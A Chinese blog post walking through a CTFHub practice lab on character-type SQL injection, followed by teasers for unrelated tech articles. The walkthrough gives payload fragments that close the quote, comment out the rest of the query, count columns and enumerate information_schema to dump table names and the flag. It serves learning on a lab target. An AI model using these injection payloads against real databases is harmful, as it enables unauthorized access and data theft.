37.【2】CTFHub web sql 字符型注入

server/2025/1/16 12:11:03/

进入靶场,按照提示输入1

对比字符型注入与整数型注入可以发现字符型注入的1被单引号包裹

所以我们要使单引号闭合,使语句正确

如图,手动输入时便输入1',先使得第一个单引号闭合,使用order by 判断字节数,还需要解决后单引号,#或-- -或-- +都能起到注释作用,使其后语句不执行,上3张图为-- -,下2张图为#,效果相同,都能判断出最后字节数为2,因为1,2时回显正常,3时异常

寻找回显点

database()

爆出库名为sqli

group_concat(table_name) from information_schema.tables where table_schema='sqli'#

爆出表名为flag与news,flag更可疑

group_concat(column_name) from information_schema.columns where table_name='flag'#

字段名还是flag

group_concat(flag) from sqli.flag#

得到flag

笔记

1,字符型注入要闭合单引号或注释掉

2,注释符有#,-- -,-- +


http://www.ppmy.cn/server/158819.html

相关文章

SpringCloud系列教程:微服务的未来(十一)服务注册、服务发现、OpenFeign快速入门

本篇博客将通过实例演示如何在 Spring Cloud 中使用 Nacos 实现服务注册与发现,并使用 OpenFeign 进行服务间调用。你将学到如何搭建一个完整的微服务通信框架,帮助你快速开发可扩展、高效的分布式系统。 目录 前言 服务注册和发现 服务注册 ​编辑 …

《深入浅出HTTPS​​​​​​​​​​​​​​​​​》读书笔记(28):DSA数字签名

《深入浅出HTTPS​​​​​​​​​​》读书笔记(28):DSA数字签名 对称加密算法有很多算法,标准算法是RSA机密算法,数字签名技术也有一个标准DSS(Digital Signature Standard),其标准…

高斯数据库 Shell 脚本:批量执行多个 SQL 文件

高斯数据库 Shell 脚本:批量执行多个 SQL 文件 优化后的高斯数据库 Shell 脚本 #!/bin/bash# 数据库信息文件路径 DB_INFO_FILE"db_info.txt"# 要执行的 SQL 文件列表 SQL_LIST_FILE"sql_files.txt"# 检查数据库信息文件是否存在 if [[ ! -f …

网络安全的几种攻击方法

攻击方法 挂马: 就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。 挖洞: 指漏洞挖掘。 加壳: 就是利用特殊的算法,将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密&a…

SQL 详解数据库

SQL(Structured Query Language,结构化查询语言)是一种专门用于与关系型数据库进行交互的标准化语言。它可以用于查询、更新和管理数据库中的数据,以及定义和控制数据库的结构。 以下是 SQL 的主要功能模块及其详解: …

Django基础之ORM初识

一.前言 今天我们大致来了解一下django的orm,只是简单的了解,具体的会在下一期和大家来说,本质是关系对象映射,简单点来说就是翻译,利用类创建数据库 二.表结构 2.1 基础配置 首先在app中的models.py中按照规则编写…

mac下使用arthas分析工具报错

mac下使用arthas分析工具 依赖初次运行报错运行前的准备/usr/libexec/java_home -V 返回结果解释:为什么有两个版本?如果使用的是不带参数的命令:设置 JAVA_HOME / 如何选择要使用的 JVM:遗留的问题 依赖 在 JDK8 中,…

vue组件(Ⅰ)

目录 引入 一、组件基础 1.组件组成结构在components文件当中新建文件MyApp.vue 2.组件引用结构-----在App.vue当中设置如下属性 二、组件的嵌套关系 1.Header.vue 2.Main.vue 3.Aside.vue 4.Article.vue 在Main.vue当中注册 5.Itme.vue 在Aside.vue当中注册 三、组…